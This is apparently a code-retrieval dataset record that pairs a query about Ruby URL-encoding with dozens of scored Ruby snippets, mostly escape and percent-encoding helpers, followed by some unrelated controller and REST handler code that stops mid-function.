[ { "docid": "f0fc571d5e10459bf1510d4620179718", "score": "0.80954367", "text": "def url_encode(string)\n # It's kinda like CGI.escape, except CGI.escape is encoding a tilde when\n # it ought not to be, so we turn it back. Also space NEEDS to be %20 not +.\n return CGI.escape(string).gsub(\"%7E\", \"~\").gsub(\"+\", \"%20\")\n end", "title": "" }, { "docid": "f0fc571d5e10459bf1510d4620179718", "score": "0.80954367", "text": "def url_encode(string)\n # It's kinda like CGI.escape, except CGI.escape is encoding a tilde when\n # it ought not to be, so we turn it back. Also space NEEDS to be %20 not +.\n return CGI.escape(string).gsub(\"%7E\", \"~\").gsub(\"+\", \"%20\")\n end", "title": "" }, { "docid": "e72b4e31696c849c9d864f4c39522c82", "score": "0.8090623", "text": "def url_encode(string)\n # It's kinda like CGI.escape, except CGI.escape is encoding a tilde when\n # it ought not to be, so we turn it back. Also space NEEDS to be %20 not +.\n return CGI.escape(string).gsub(\"%7E\", \"~\").gsub(\"+\", \"%20\")\n end", "title": "" }, { "docid": "e72b4e31696c849c9d864f4c39522c82", "score": "0.8090623", "text": "def url_encode(string)\n # It's kinda like CGI.escape, except CGI.escape is encoding a tilde when\n # it ought not to be, so we turn it back. Also space NEEDS to be %20 not +.\n return CGI.escape(string).gsub(\"%7E\", \"~\").gsub(\"+\", \"%20\")\n end", "title": "" }, { "docid": "0c6db24ab9872574afe72c032270f2a1", "score": "0.8020066", "text": "def URLencode(raw)\n e = URI.escape(raw)\n e.gsub(/\\+/, \"%2b\")\n end", "title": "" }, { "docid": "9182dfe993e997ab503db972cd5f87a7", "score": "0.79833657", "text": "def url_encode(string)\n CGI.escape(string.to_s)\n end", "title": "" }, { "docid": "20bb69703b12ba146ca3aa8d616c11bb", "score": "0.7933068", "text": "def url_encode(str)\n URI::encode str.to_s\n end", "title": "" }, { "docid": "ce7497b81805c5bae48207b5e9bf5308", "score": "0.78871816", "text": "def url_encode(url)\n URI.encode(url)\n end", "title": "" }, { "docid": "8fb4d849a4c758661956b06f75c0239d", "score": "0.7779936", "text": "def url_encode(url)\n url.to_s.b.gsub(/[^a-zA-Z0-9_\\-.~]/n) { |m| sprintf('%%%02X', m.unpack1('C')) } # rubocop:disable Style/FormatString\n end", "title": "" }, { "docid": "543045b6f52bbbb2085869c55c4faf25", "score": "0.7768081", "text": "def url_encode(url)\n url.to_s.b.gsub(/[^a-zA-Z0-9_\\-.~]/n) { |m| sprintf('%%%02X', m.unpack1('C')) } # rubocop:disable Style/FormatString, Style/FormatStringToken\n end", "title": "" }, { "docid": "543045b6f52bbbb2085869c55c4faf25", "score": "0.7768081", "text": "def url_encode(url)\n url.to_s.b.gsub(/[^a-zA-Z0-9_\\-.~]/n) { |m| sprintf('%%%02X', m.unpack1('C')) } # rubocop:disable Style/FormatString, Style/FormatStringToken\n end", "title": "" }, { "docid": "543045b6f52bbbb2085869c55c4faf25", "score": "0.7768081", "text": "def url_encode(url)\n url.to_s.b.gsub(/[^a-zA-Z0-9_\\-.~]/n) { |m| sprintf('%%%02X', m.unpack1('C')) } # rubocop:disable Style/FormatString, Style/FormatStringToken\n end", "title": "" }, { "docid": "e6e312071eb2277969ea6ac6fd15e69a", "score": "0.76368266", "text": "def percent_encode(str)\n # Replaced deprecated URI.escape with CGI.escape\n # CGI.escape replaces spaces with \"+\", so we also need to substitute them with \"%20\"\n CGI.escape(str.to_s).gsub(\"+\", \"%20\")\n end", "title": "" }, { "docid": "b57d1af0b449d46192c6df7ab5d306fe", "score": "0.7520294", "text": "def uri_encode(component)\n if URI.respond_to? :encode_www_form_component\n URI.encode_www_form_component(component)\n else\n URI.encode(component).gsub('=', '%3D').gsub(':', '%3A').gsub('/', '%2F').gsub('+', '%2B')\n end\nend", "title": "" }, { "docid": "1abd74cb7ebe60b9da9802a503c12cc1", "score": "0.7515349", "text": "def urlencode(string)\n # CGI::escape(string)\n string.escape_url\n end", "title": "" }, { "docid": "0031a669cf013e56615df73d8d5d16f6", "score": "0.7513716", "text": "def escape str, unsafe = URI::UNSAFE\n URI.original_escape URI.unescape(str), unsafe\n end", "title": "" }, { "docid": "02fae6ca4f430dcde0775f87788996d9", "score": "0.7438777", "text": "def url_encode(url)\n return URI.escape(url, Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n end", "title": "" }, { "docid": "4836c79d39bc6c32c6736fe873adbdfe", "score": "0.7432703", "text": "def url_encode\n proc {\n |input|\n render(URI.encode_www_form_component(render(input)))\n }\n end", "title": "" }, { "docid": "99aadb7e68cff7942f5251449dd60d22", "score": "0.7424781", "text": "def uri_escape(s)\n s.gsub(/([^a-zA-Z0-9_.-]+)/) do\n '%' + $1.unpack('H2' * $1.bytesize).join('%').upcase\n end\n end", "title": "" }, { "docid": "ff374192d09619e2201a83c38ecdd073", "score": "0.7387536", "text": "def urlencode(str)\n str.gsub(/[^a-zA-Z0-9_\\.\\-]/n) {|s| sprintf('%%%02x', s[0]) }\n end", "title": "" }, { "docid": "de630c1bc13bb370ada60869cb286c1e", "score": "0.73438585", "text": "def uri_encode(parameter)\n CGI.escape(parameter.to_s)\n end", "title": "" }, { "docid": "b02c435e58549614d93b10b084d17b4b", "score": "0.73319685", "text": "def percent_encode(string)\n return URI.encode_www_form_component(string).gsub('*', '%2A')\n end", "title": "" }, { "docid": "f894146f03e28afe95ecaee815d48486", "score": "0.73197263", "text": "def uri_escape\n gsub(/([^ a-zA-Z0-9_.-]+)/n) {'%'+$1.unpack('H2'*$1.size).join('%').upcase}.tr(' ', '+')\n end", "title": "" }, { "docid": "344d6c85e73e0f4974914ecfbeb1419f", "score": "0.7308058", "text": "def url_encode text \n text = text.dup\n text.gsub!(/([^ a-zA-Z0-9\\(\\)\\!\\*_.-]+)/) do\n '%' + $1.unpack('H2' * $1.bytesize).join('%')\n end\n text.tr!(' ', '+')\n text\n end", "title": "" }, { "docid": "ca1f0b4085b851b5bca5735030302880", "score": "0.7307386", "text": "def safe_escape(uri)\n uri.to_s.gsub(URI_UNSAFE) { |match|\n \"%\" + match.unpack(\"H2\" * match.bytesize).join(\"%\").upcase\n }\n end", "title": "" }, { "docid": "c06300460279c2b0fed65fc4de3acfd1", "score": "0.73066485", "text": "def url_safe(str)\n # str.strip.gsub(/\\s/, \"%20\")\n URI.encode(str.strip)\n end", "title": "" }, { "docid": "20fcd1bac5c2fbef9f7c66341f527c8c", "score": "0.7304918", "text": "def encodeURIComponent(value)\n\t\t# encodeURIComponent(symbols) === \"%20 ! %22 %23 %24 %25 %26 ' ( ) * %2B %2C - . %2F %3A %3B %3C %3D %3E %3F %40 %5B %5C %5D %5E _ %60 %7B %7C %7D ~\"\n\t\t# CGI.escape(symbols) === \" + %21 %22 %23 %24 %25 %26 %27 %28 %29 %2A %2B %2C - . %2F %3A %3B %3C %3D %3E %3F %40 %5B %5C %5D %5E _ %60 %7B %7C %7D %7E\"\n\t\tgsub(CGI.escape(value.to_s),\n\t\t\t\t'+' => '%20', '%21' => '!', '%27' => \"'\", '%28' => '(', '%29' => ')', '%2A' => '*',\n\t\t\t\t'%7E' => '~'\n\t\t)\n\tend", "title": "" }, { "docid": "86309d81dca7920de8a32badeeb3268b", "score": "0.7269084", "text": "def escape(s)\n URI.encode_www_form_component s\nend", "title": "" }, { "docid": "5fc6ccf8e334b4df41a657e905b5b054", "score": "0.7253105", "text": "def encode(value)\n URI.escape(value.to_s, UNRESERVED_CHARACTERS)\n end", "title": "" }, { "docid": "61fa53a9b8a614be6d4b44fab522d1db", "score": "0.72524244", "text": "def encode_for_url(input)\n return nil if input.nil?\n CGI::escape(input)\n end", "title": "" }, { "docid": "0961ba3ab7e3ade9030cf4228cca27d7", "score": "0.724954", "text": "def escape(s)\n URI.encode_www_form_component s\n end", "title": "" }, { "docid": "e36108662861c95ed3683324a0ba4217", "score": "0.7248777", "text": "def urlencode\n URI.escape(self)\n end", "title": "" }, { "docid": "e36108662861c95ed3683324a0ba4217", "score": "0.7248777", "text": "def urlencode\n URI.escape(self)\n end", "title": "" }, { "docid": "00be1c553ec108a81149e36f85b9a433", "score": "0.7237788", "text": "def escape_uri(s); Rack::Utils.escape(s); end", "title": "" }, { "docid": "c5e916d3f16f58014e892da547cd3021", "score": "0.72342074", "text": "def urlencode(string)\n CGI::escape(string)\n end", "title": "" }, { "docid": "bc4b34697f5a6b688b51de74c54598ea", "score": "0.72322303", "text": "def encodeURI(value)\n\t\t# encodeURI(symbols) === \"%20 ! %22 # $ %25 & ' ( ) * + , - . / : ; %3C = %3E ? @ %5B %5C %5D %5E _ %60 %7B %7C %7D ~\"\n\t\t# CGI.escape(symbols) === \" + %21 %22 %23 %24 %25 %26 %27 %28 %29 %2A %2B %2C - . %2F %3A %3B %3C %3D %3E %3F %40 %5B %5C %5D %5E _ %60 %7B %7C %7D %7E\"\n\t\tgsub(CGI.escape(value.to_s),\n\t\t\t\t'+' => '%20', '%21' => '!', '%23' => '#', '%24' => '$', '%26' => '&', '%27' => \"'\",\n\t\t\t\t'%28' => '(', '%29' => ')', '%2A' => '*', '%2B' => '+', '%2C' => ',', '%2F' => '/',\n\t\t\t\t'%3A' => ':', '%3B' => ';', '%3D' => '=', '%3F' => '?', '%40' => '@', '%7E' => '~'\n\t\t)\n\tend", "title": "" }, { "docid": "da7d699b57904b3faab09f4fd92b8ded", "score": "0.7228888", "text": "def uri_escape(string)\n # Quick hack for already escaped string, don't escape again\n # I don't think any requests require a % in a parameter, but if\n # there is one I'll need to rethink this\n return string if string =~ /%/\n\n string.gsub(/([^a-zA-Z0-9_.\\-~]+)/) {\n \"%\" + $1.unpack(\"H2\" * $1.bytesize).join(\"%\").upcase\n }\n end", "title": "" }, { "docid": "89a04965b0b3e037108e74902123b285", "score": "0.7220074", "text": "def escape_for_url(string = '')\n result = Rack::Utils.escape(string).gsub(/\\+/,'-')\n end", "title": "" }, { "docid": "998b15e5778c093f09f6bafc76e3235e", "score": "0.7201414", "text": "def uri_escape(input)\n Addressable::URI.normalize_component(input)\n end", "title": "" }, { "docid": "998b15e5778c093f09f6bafc76e3235e", "score": "0.7201414", "text": "def uri_escape(input)\n Addressable::URI.normalize_component(input)\n end", "title": "" }, { "docid": "1fe97bb93cdf27ce1f18922cd156f944", "score": "0.71881616", "text": "def enc str\n URI::encode str\nend", "title": "" }, { "docid": "27df108d59fa864f8122dd305fd7fb96", "score": "0.7186898", "text": "def safe_escape(uri); end", "title": "" }, { "docid": "27df108d59fa864f8122dd305fd7fb96", "score": "0.7186898", "text": "def safe_escape(uri); end", "title": "" }, { "docid": "784539fa4cdf6fccd556a25595483168", "score": "0.7186782", "text": "def escape_unreserved(input)\n URI.escape(input, UNSAFE)\n end", "title": "" }, { "docid": "d5c7c94b17aabf248b0f4334beef3f39", "score": "0.71859664", "text": "def uri_encode(uri)\n uri_valid?(uri) ? uri : URI.encode(uri).gsub('[', '%5B').gsub(']', '%5D')\n end", "title": "" }, { "docid": "e4ecbc041c11eff280429747eb7bd933", "score": "0.7185033", "text": "def escape(s)\n # Contraction of ERB#url_encode method\n s.to_s.b.gsub(/[^\\w\\-.~]/n){sprintf(\"%%%02X\",_1.unpack1(\"C\"))}\n end", "title": "" }, { "docid": "33ff2617ce7e4f9d5dd1934791592c6c", "score": "0.718018", "text": "def encodeURI(uri)\n encodeURIComponent(uri).gsub('%2F', '/')\n end", "title": "" }, { "docid": "9a860b5956d8a042393b7304ee0a32d6", "score": "0.7177145", "text": "def url_encode(part)\n part.gsub(/([^a-zA-Z0-9._~-]+)/) do |chunk|\n chunk.unpack(\"H*\").map { |h| \"%#{h}\" }.join.upcase\n end\n end", "title": "" }, { "docid": "ae72e31e1c17ddf48e24fe39de4fb1b1", "score": "0.71689266", "text": "def url_encode(options)\n params = options.to_query.gsub(\"%5B%5D\", \"\").gsub(\"%5B\", \".\").gsub(\"%5D\", \"\").gsub(\"%2C\", \",\")\n end", "title": "" }, { "docid": "356480956c279a8218dfb19b9ef2ed6a", "score": "0.71651775", "text": "def uri_escape(string)\n CGI.escape(string).gsub(/\\+|%7E/, '+' => '%20', '%7E' => '~')\n end", "title": "" }, { "docid": "c029c8559510ecd2d58b8287cb8425cf", "score": "0.7162311", "text": "def urlencode(str)\n str.gsub(/[^a-zA-Z0-9_\\.\\-]/n) {|s| sprintf('%%%02x', s[0]) }\nend", "title": "" }, { "docid": "77f0e60674326297d53737410fd31928", "score": "0.7151378", "text": "def escape_url\n\t\tCGI::escape(@url)\n\tend", "title": "" }, { "docid": "bb4e48d4fb781c582859d4d6e55b760b", "score": "0.71465725", "text": "def uri_escape(string)\n Addressable::URI.escape(string)\n end", "title": "" }, { "docid": "d8171afd656e0e864d0743d6667d4901", "score": "0.71322376", "text": "def escape_url(string)\n CGI::escape(string)\n end", "title": "" }, { "docid": "70a76d584c1b1dbf17c388a47bb095e0", "score": "0.7111783", "text": "def urlencode(plaintext)\n CGI.escape(plaintext.to_s).gsub(\"+\", \"%20\").gsub(\"%7E\", \"~\")\n end", "title": "" }, { "docid": "46eb1cd21a7fd232fd7a7715408f42b6", "score": "0.71097296", "text": "def encode(string)\n require \"uri\"\n\n URI::encode string\n end", "title": "" }, { "docid": "fbf3c070f5c37eea79da0f105011c849", "score": "0.7104649", "text": "def base64_url_encode(str)\n Base64.strict_encode64(str).tr('+/', '-_').tr('=', '')\n end", "title": "" }, { "docid": "fbf3c070f5c37eea79da0f105011c849", "score": "0.7104649", "text": "def base64_url_encode(str)\n Base64.strict_encode64(str).tr('+/', '-_').tr('=', '')\n end", "title": "" }, { "docid": "e9606b4afea1d29a49e112147c5a19da", "score": "0.7097337", "text": "def url_safe(value)\n uri_parser.escape(uri_parser.unescape(value.to_s))\n end", "title": "" }, { "docid": "b079ff82099e1fbe19a867e7706d7320", "score": "0.7081603", "text": "def uri_escape(val)\n URI.escape(val.to_s, /[^A-Za-z0-9\\-_.~]/)\n end", "title": "" }, { "docid": "9ec7813ded1a6e14f778e58e3a06fef2", "score": "0.70778495", "text": "def escape_uri(str)\n str = str.dup\n str = binary_encode(str)\n str.gsub(UNESCAPED) { \"%%%02X\" % $1[0].ord }\n end", "title": "" }, { "docid": "8816ac9e78afae0cfdffabe35d950c5b", "score": "0.707349", "text": "def escape(value) #:nodoc:\n # note that URI.escape(' ') => '%20', and CGI.escape(' ') => '+'\n URI.escape(value.to_s, UNSAFE)\n end", "title": "" }, { "docid": "8816ac9e78afae0cfdffabe35d950c5b", "score": "0.707349", "text": "def escape(value) #:nodoc:\n # note that URI.escape(' ') => '%20', and CGI.escape(' ') => '+'\n URI.escape(value.to_s, UNSAFE)\n end", "title": "" }, { "docid": "1b2b4d13ccf420a668d867da69d2b37e", "score": "0.70509595", "text": "def uri_escape\n self.gsub(/([^ a-zA-Z0-9_.-]+)/n) {\n '%'+$1.unpack('H2'*$1.size).join('%').upcase\n }.tr(' ', '+')\n end", "title": "" }, { "docid": "5d86a48341c21397a93c5004649fa0af", "score": "0.70444155", "text": "def naive_escape(uri) # :nodoc: #\n scheme, authority, path, query, fragment = non_validating_split(uri)\n query.gsub!(QUERY_RESERVED) { percent_encode($&) }\n \"#{scheme}://#{authority}#{path}?#{query}##{fragment}\"\n end", "title": "" }, { "docid": "af23b8ce7010939d9c03784d82cc74a2", "score": "0.70244974", "text": "def escape_url(url)\n CGI.escape(url)\n end", "title": "" }, { "docid": "af23b8ce7010939d9c03784d82cc74a2", "score": "0.70244974", "text": "def escape_url(url)\n CGI.escape(url)\n end", "title": "" }, { "docid": "61da609594ec36c670e28f60a3d61e8a", "score": "0.70229834", "text": "def url_encode(key)\n CGI.escape(key.to_s).gsub('%5B', '[').gsub('%5D', ']')\n end", "title": "" }, { "docid": "db50e3b56b301b1a0f98df9dac7344b0", "score": "0.70056206", "text": "def escape_clean_url\n escape_param(clean_url)\n end", "title": "" }, { "docid": "1b6ed63abae57cfd63a9a88ad7bc6164", "score": "0.70024604", "text": "def uri_encode(string)\n URI.encode(Base64.encode64(string))\n end", "title": "" }, { "docid": "f56fa9d98e8927704d11593810a14d20", "score": "0.69856423", "text": "def safe_escape(uri)\n uri = uri.split('#')[0] # we want to remove the fragment if present\n uri.to_s.gsub(URI_UNSAFE) do |match|\n \"%#{match.unpack('H2' * match.bytesize).join('%').upcase}\"\n end\n end", "title": "" }, { "docid": "89f2367f6ddcbf89a6af9095c6be140a", "score": "0.6967293", "text": "def escaped(url_string)\n URI.escape url_string\n end", "title": "" }, { "docid": "a4698a5c015b1514a002ba3c13bd3022", "score": "0.6965956", "text": "def escape(string)\n URI.escape(string, UNSAFE)\n end", "title": "" }, { "docid": "04ad3879a74a90e038100b4e9182f147", "score": "0.695906", "text": "def safe_encoded\n 'uri_' << Base64.encode64(@uri_s).gsub('=', '-_-').gsub('+', '-__-').gsub('/', '-___-').gsub(/\\s/, '')\n end", "title": "" }, { "docid": "4bbc33cc72e485ebbd30d689ee5f2106", "score": "0.6951239", "text": "def urlencode(string)\n\t\tstring.gsub(/([^ a-zA-Z0-9_.-]+)/) do\n\t\t\t'%' + $1.unpack('H2' * $1.bytesize).join('%').upcase\n\t\tend.tr(' ', '+')\n\tend", "title": "" }, { "docid": "608f18ebd217e5156e5078e9898d99c1", "score": "0.69457537", "text": "def escapeURI(string)\n string.gsub(/([^ a-zA-Z0-9_.-]+)/n) do\n '%' + $1.unpack('H2' * $1.size).join('%').upcase\n end.tr(' ', '+')\n end", "title": "" }, { "docid": "dff5a5facbb903ea34880aa9b7a0de68", "score": "0.69356245", "text": "def encode_text(text)\n return URI.escape(text)\n end", "title": "" }, { "docid": "78bdaf635a9b5f948357117b2c1578d7", "score": "0.6934417", "text": "def base64url_encode(input)\n\t\t\tBase64.encode64(input).tr('+/', '-_').gsub(/[\\n=]/, '')\n\t\tend", "title": "" }, { "docid": "67d671fd5221a9918e3510fac61be1e9", "score": "0.69250757", "text": "def escape_unreserved(input)\n URI::DEFAULT_PARSER.escape(input, UNSAFE)\n end", "title": "" }, { "docid": "09c9827f55e8fdde70ab63c38a6ee90e", "score": "0.69247127", "text": "def escape_uri(string)\n string.gsub(/([^ a-zA-Z0-9_.-]+)/n) do\n '%' + $1.unpack('H2' * $1.size).join('%').upcase\n end.tr(' ', '+')\n end", "title": "" }, { "docid": "9470c7d73b9b32dc8db5c49f3df150de", "score": "0.69029003", "text": "def my_url_encode(url)\n unless url == '/'\n # Replace / with -, drop the ?= part of a link\n url = url.sub('/', '').gsub(/\\?.*/, '').gsub(/\\/|\\(|\\)/, '-')\n else\n url = 'index.html'\n end\n end", "title": "" }, { "docid": "42353412cf11b8fbc89372d39052c064", "score": "0.6877362", "text": "def urlencode2\n self.percent_encode.percent_encode\n end", "title": "" }, { "docid": "3fa9308759033233b4eb6169c1541b6c", "score": "0.68615985", "text": "def uri_query_encode(query_string)\n return nil if query_string.nil?\n\n # query can encode space to %20 OR +\n # + MUST be encoded as %2B\n # in RFC3968 both query and fragment are defined as:\n # = *( pchar / \"/\" / \"?\" )\n # CGI.escape turns space into + which is the most backward compatible\n # however it doesn't roundtrip through URI.unescape which prefers %20\n CGI.escape(query_string).gsub('+', '%20')\n end", "title": "" }, { "docid": "467403901ac8186bf9d17acc2649ec19", "score": "0.684876", "text": "def escape(value)\n URI.escape(value.to_s, unsafe_regex)\n rescue ArgumentError\n URI.escape(value.to_s.force_encoding(Encoding::UTF_8))\n end", "title": "" }, { "docid": "f993aca9d56b1e0f50890e4bd1bbdd22", "score": "0.68181497", "text": "def paypal_encode str\n s = str.dup\n CGI.escape(s).gsub('.', '%2E').gsub('-', '%2D')\n end", "title": "" }, { "docid": "53c137f8c1e50fd82a8f9545be3475ed", "score": "0.6812292", "text": "def escape(uri)\n URI.encode(uri, %r{[^\\-_.!~*'()a-zA-Z\\d;\\/?:@&=+$,]})\n end", "title": "" }, { "docid": "7df873b0647e1039f0dcbd9dca98fa30", "score": "0.68053794", "text": "def urlify\n encoded_string = split('').map do |char|\n encoded_characters[char] ? encoded_characters[char] : char\n end\n\n return encoded_string.join('')\n end", "title": "" }, { "docid": "513b23cd2c08861076a715b37fee22d0", "score": "0.68040866", "text": "def url_encode(param)\n ERB::Util.url_encode(param)\n end", "title": "" }, { "docid": "7e2c7cf04118084328e601994eab2ba9", "score": "0.6801216", "text": "def url_encode_path_segment(s)\n ERB::Util.url_encode(s)\n end", "title": "" }, { "docid": "930252417796084c73fb7e660b8c76e5", "score": "0.6784602", "text": "def encode s\n Base64.urlsafe_encode64 s.to_s\n end", "title": "" }, { "docid": "ef911ffbcac00a7031c645e7d90da814", "score": "0.67807585", "text": "def escape(str)\n return nil unless str\n URI.escape str\n end", "title": "" }, { "docid": "ebc75f554c931ef4ce14a9e8bbf2c2e4", "score": "0.67778873", "text": "def encode text\n CGI.escape(text)\n .gsub('%3A', ':')\n .gsub('%5C', '\\\\')\n .gsub('%2F', '/')\n .gsub('+', '%20')\n end", "title": "" }, { "docid": "9dcb7c3deb494437bca2470e392bf17d", "score": "0.6776558", "text": "def url_encode str\n\toriginal_length = str.length\n\n\tnum_spaces = 0;\n\t0.upto(original_length) do |i|\n\t\tnum_spaces = num_spaces + 1 if(str[i] == ' ')\n\tend\n\n\tnew_length = original_length + (num_spaces * 2)\n\tstr[new_length] = 'x'\n\n\t(original_length - 1).downto(0) do |i|\n\t\tif(str[i] == ' ')\n\t\t\tstr[new_length - 3] = '%'\n\t\t\tstr[new_length - 2] = '2'\n\t\t\tstr[new_length - 1] = '0'\n\t\t\tnew_length = new_length - 3\n\t\telse\n\t\t\tstr[new_length - 1] = str[i]\n\t\t\tnew_length = new_length - 1\n\t\tend\n\tend\n\n\treturn str\n\nend", "title": "" }, { "docid": "9a0b4c05140dc5627d67dcd756116021", "score": "0.6774562", "text": "def url_encode(key); end", "title": "" }, { "docid": "409fe74c5c9e45043dd7b0b8fbc9b948", "score": "0.6764256", "text": "def urlencode3\n self.percent_encode.percent_encode.percent_encode\n end", "title": "" }, { "docid": "2b0969a10e70bb290f36a247eedf60d8", "score": "0.67577684", "text": "def urlsafe_encode64(bin)\n self.strict_encode64(bin).tr(\"+/\", \"-_\")\n end", "title": "" }, { "docid": "69a0a981900346aa9a40bf5c0243fab5", "score": "0.6755693", "text": "def encode to_encode\n CGI.escape(to_encode)\n end", "title": "" }, { "docid": "f489e1deecbd82f0ac6dfa9389a0bafe", "score": "0.67529345", "text": "def encode_uri\n map {|name, value|\n \"#{name.to_s.encode_uri_component}=#{value.to_s.encode_uri_component}\"\n }.join(?&)\n end", "title": "" }, { "docid": "1c98057d4162ff75fb00d1a792fdfb49", "score": "0.6751866", "text": "def url_with_encoded_params(uri, params)\n \"#{URI.escape(uri)}?#{URI.encode_www_form(params)}\"\n end", "title": "" }, { "docid": "a8dd8a485616fe74c05d35f52344dacd", "score": "0.673261", "text": "def escaped\n return '' if self.nil?\n unescaped = URI.unescape(self) # This will fix the percent encoding issue\n Rack::Utils.escape(unescaped)\n end", "title": "" } ]
d07d5f9b801624c7f401f911d12f2458
PUT /hostelns/1 PUT /hostelns/1.json
[ { "docid": "55a25157cbcda2d8d6b8262183d6df09", "score": "0.5953831", "text": "def update\n @hosteln = Hosteln.find(params[:id])\n\n respond_to do |format|\n if @hosteln.update_attributes(params[:hosteln])\n format.html { redirect_to @hosteln, notice: 'Hosteln was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hosteln.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "b58dcb674745e5d70f3957b6c801fb4a", "score": "0.629292", "text": "def update\n id = params[:id]\n p = {:servernode => {:name => params[:servernode][:name],\n :status=>params[:servernode][:status]}}\n @servernode = Servernode.find(params[:id])\n @servernode.update(servernode_params)\n RestClient.put(\"http://localhost:3000/servernodes/#{id}\",p)\n render :nothing => :true\n end", "title": "" }, { "docid": "5a7640c4dc6604dab26c3db8d64eac7f", "score": "0.6284953", "text": "def update\n @event_host = EventHost.find(params[:id])\n\n if @event_host.update(event_host_params)\n head :no_content\n else\n render json: @event_host.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "687a3df9e9b971280aba3d4eb5bdee72", "score": "0.6160777", "text": "def addhost(nodename, ipaddr, config)\n\n uri = URI.parse(config['config']['addurl'])\n node = { \"EntityType\" => \"Orion.Nodes\", \"IPAddress\" => \"#{ipaddr}\",\n \"Caption\"=> \"#{nodename}\", \"DynamicIP\" => \"False\", \"EngineID\" => 1, \n \"Status\" => 1, \"UnManaged\" => \"False\", \"Allow64BitCounters\" => \"True\", \n \"SysObjectID\" => \"\", \"MachineType\" => \"\", \"VendorIcon\" => \"\", \n \"ObjectSubType\" => \"SNMP\", \"SNMPVersion\" => 2, \"Community\" => config['config']['community'],\n }\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Post.new(uri.request_uri, initheader = {'Content-Type' =>'application/json'})\n request.body = node.to_json\n request.basic_auth(config['config']['username'], config['config']['password'])\n\n response = http.request(request)\nend", "title": "" }, { "docid": "750decb489924d4c6404bcfeee874529", "score": "0.61264265", "text": "def host_update_spec(hostname, operation)\n [\n {\n \"host\" => hostname,\n \"operation\" => operation\n }\n ]\n end", "title": "" }, { "docid": "5a5833d0277ac13d047da5248461b116", "score": "0.61064166", "text": "def on_put(resource_uri, opts)\n debug \"on_put: #{resource_uri}\"\n action, params = parse_uri(resource_uri, opts)\n action = 'reset' if action == 'reboot' || action == \"restart\" \n body, format = parse_body(opts)\n authorizer = opts[:req].session[:authorizer]\n account = authorizer.account\n debug \"action: #{action.inspect} params: #{params.inspect} format: #{format.inspect} account_id: #{account.id} body: #{body.inspect}\"\n\n if account.id != @am_manager._get_nil_account.id\n error \"non root account issued action: '#{action}'\"\n raise OMF::SFA::AM::Rest::NotAuthorizedException.new \"Not Authorized!!\"\n end\n\n response = {}\n case action\n when 'on' , 'off' , 'reset'\n body[:nodes].each do |node|\n response[node.to_sym] = @liaison.change_node_status(node, action)\n end\n when 'save'\n node = body[:node]\n image_name = body[:image_name] || DEFAULT_SAVE_IMAGE_NAME\n response[node.to_sym] = @liaison.save_node_image(node, image_name)\n when 'load'\n nodes = []\n body[:nodes].each do |node|\n nodes << OMF::SFA::Model::Node.first(name: node, account_id: 2)\n end\n sliver_type = OMF::SFA::Model::SliverType.first(name: body[:sliver_type])\n response = @liaison.provision(nodes, sliver_type, authorizer)\n else\n raise OMF::SFA::AM::Rest::UnknownResourceException.new \"Action '#{action}' is not supported by method PUT.\"\n end\n \n ['application/json', \"#{JSON.pretty_generate({resp: response}, :for_rest => true)}\\n\"]\n end", "title": "" }, { "docid": "a562ddbd06efcd2505ecdd4e9db96f20", "score": "0.60948855", "text": "def update\n sysid = Sysid.find(@host.sysid_id)\n respond_to do |format|\n if @host.update(host_params)\n Instance.add_update_tag(@host.instance_id,\"Name\",@host.hostname)\n Instance.add_update_tag(@host.instance_id,\"SYSID\",sysid.name)\n Instance.update_volume_tags(@host.instance_id,\"Name\",@host.hostname)\n Instance.update_volume_tags(@host.instance_id,\"SYSID\",sysid.name)\n Instance.update_volume_tags(@host.instance_id,\"host_id\",@host.id)\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { render :show, status: :ok, location: @host }\n else\n format.html { render :edit }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ca95b504f381d2492d11b318d074420", "score": "0.6089623", "text": "def update\n @host = Host.find_by_host(params[:id])\n\n respond_to do |format|\n if @host.update_attributes(params[:host])\n format.html { redirect_to @host, notice: 'Host was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @host.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b279dff81ae2a52b35a36215fdd89c81", "score": "0.60882604", "text": "def update\n @host = Host.find(params[:id])\n #@host = Host.new(params[:host])\n\n @host.name.downcase!\n #p params.inspect\n\n #if params[:host][:host_type] != \"\" && params[:host][:host_type] != \"NA\"\n session[:status] = true\n session[:msg] = \"\"\n\n # Check validity of Device Type and physical location\n if params[:host][:host_type] != \"\"\n if params[:host][:host_type] =~ /Physical/\n params[:host][:physical_location] = params[:host][:geo_location].upcase + \":C\" + params[:host][:cage].to_s + \":R\"\\\n + params[:host][:rack].to_s + \":U\" + params[:host][:start_unit] + \"-\" \\\n + (params[:host][:start_unit].to_i + params[:host][:unit_range].to_i - 1).to_s\n validate_physical_location(params[:host])\n check_status and return\n params[:host][:esx_host] = \"NA\"\n else\n params[:host][:physical_location] = params[:host][:esx_host]\n end\n end\n\n if params[:host][:manual_host] == \"0\"\n if params[:product].nil?\n params[:host][:name] = params[:location] + \"-\" + params[:environment] + \"-\" + params[:hostrole] + \"-\" + params[:instance]\n else\n params[:host][:name] = params[:location] + \"-\" + params[:environment] + \"-\" + params[:product] + \"-\" + params[:hostrole] + \"-\" + params[:instance]\n end\n end\n\n params[:host].delete(\"manual_host\")\n\n #Ensure the hostname coming in is a fqdn\n if params[:host][:name] !~ /\\..*\\.com$/\n params[:host][:name] = \"#{params[:host][:name].downcase}.unix.newokl.com\"\n end\n\n if params[:host][:is_ipmi] == \"1\"\n params[:host][:con_name]=\"#{params[:host][:name].gsub(/.unix.newokl.com/,'')}-con.newokl.com\"\n else\n params[:host][:con_name].downcase!\n params[:host][:con_macaddr]= \"NA_#{Random.new.rand(1..1000000)}\"\n params[:host][:con_ipaddr]= \"NA_#{Random.new.rand(1..1000000)}\"\n end\n\n @host.user_groups = params[:user_groups] == nil ? \"None\" : params[:user_groups].map { |k| \"#{k}\" }.join(\":\")\n @host.host_groups = params[:host_groups] == nil ? \"None\" : params[:host_groups].map { |k| \"#{k}\" 